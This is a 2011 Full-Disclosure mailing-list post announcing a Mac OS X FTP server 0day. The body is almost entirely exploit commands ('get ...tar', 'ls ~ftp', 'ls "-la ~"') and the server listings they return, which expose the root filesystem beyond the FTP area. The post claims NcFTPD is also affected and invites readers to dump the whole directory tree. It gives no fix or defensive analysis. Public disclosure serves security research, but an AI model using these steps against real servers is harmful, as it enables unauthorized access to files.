[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] -~= Mac OS X ftpd 0day =~-
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] -~= Mac OS X ftpd 0day =~-
- From: "HI-TECH ." <isowarez.isowarez.isowarez@xxxxxxxxxxxxxx>
- Date: Sun, 13 Feb 2011 00:24:45 +0100
MacOS X FTP Server 0day
it was my finding, who carez
ftp <target>
get ...tar
will retrieve all contents of underlying folder of user ftp. (hint:
works with correct user account in latest NcFTPD too)
ftp> ls ~ftp
200 PORT command successful.
150 Opening ASCII mode data connection for /us.
/.hotfiles.btree
/.rnd
/.Trashes
/.vol
/Applications
/automount
/bin
/cores
/Desktop DB
/Desktop DF
/dev
/Developer
/etc
/Groups
/Library
/mach
/mach.sym
/mach_kernel
/Network
/opt
/private
/sbin
/
/System
/tmp
226 Transfer complete.
ftp: 236 bytes received in 0,06Seconds 3,81Kbytes/sec.
ls ~ftp/etc/*/*
ftp> ls "-la ~"
227 Entering Passive Mode ()
150 Opening ASCII mode data connection for directory listing.
total 20011
drwxrwxr-t 34 0 80 1258 Dec 30 17:55 .
drwxrwxr-t 34 0 80 1258 Dec 30 17:55 ..
-rw-r--r-- 1 0 80 6148 Jul 19 2004 .DS_Store
d-wx-wx-wt 2 0 80 68 Jul 19 2004 .Trashes
-rw------- 1 0 80 786432 Sep 5 2007 .hotfiles.btree
-rw------- 1 0 80 1024 Nov 30 2006 .rnd
dr-xr-xr-x 2 0 0 160 Dec 30 17:55 .vol
drwxrwxr-x 35 0 80 1190 May 11 2009 Applications
-rw-r--r-- 1 0 80 29184 Dec 23 2006 Desktop DB
-rw-r--r-- 1 0 80 194178 Dec 23 2006 Desktop DF
drwxrwxr-x 3 0 80 102 May 11 2009 Developer
-rwxr-xr-x 3 501 80 1024 Jun 25 2007 DiskWarrior.dmg
drwxrwxr-x 2 501 80 68 Jul 17 2010 Groups
drwxrwxr-t 53 0 80 1802 Nov 30 2006 Library
drwxr-xr-x 1 0 0 512 Feb 11 11:54 Network
drwxrwxr-x 6 501 80 204 Nov 30 2006 Shared Items
drwxr-xr-x 4 0 0 136 May 11 2009 System
drwxrwxr-t 6 0 80 204 Nov 30 2006 Users
drwxrwxrwt 6 0 80 204 Dec 30 17:55 Volumes
drwxr-xr-x 4 0 80 136 Jun 8 2005 automount
drwxr-xr-x 48 0 0 1632 May 11 2009 bin
drwxr-xr-x 43 0 501 1462 Jun 28 2006 bru
drwxrwxr-t 2 0 80 68 Dec 8 2003 cores
dr-xr-xr-x 2 0 0 512 Dec 30 17:55 dev
lrwxr-xr-x 1 0 4294967294 11 Nov 30 2006 etc -> private/etc
lrwxr-xr-x 1 0 80 9 Dec 30 17:55 mach -> ???
-r--r--r-- 1 0 80 624040 Dec 30 17:55 mach.sym
-rw-r--r-- 1 0 0 8570484 Oct 10 2007 mach_kernel
drwxr-xr-x 3 0 0 102 Nov 4 2005 opt
drwxr-xr-x 6 0 0 204 Dec 30 17:55 private
drwxr-xr-x 64 0 0 2176 May 11 2009 sbin
lrwxr-xr-x 1 0 4294967294 11 Nov 30 2006 tmp -> private/tmp
drwxr-xr-x 10 0 0 340 May 11 2009 usr
lrwxr-xr-x 1 0 4294967294 11 Nov 30 2006 var -> private/var
226 Transfer complete.
ftp> ls "-la ~"
ls "-laR ~" YOU NAME IT! WHOLE DIRTREE OF SERVER
/Kingcope
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/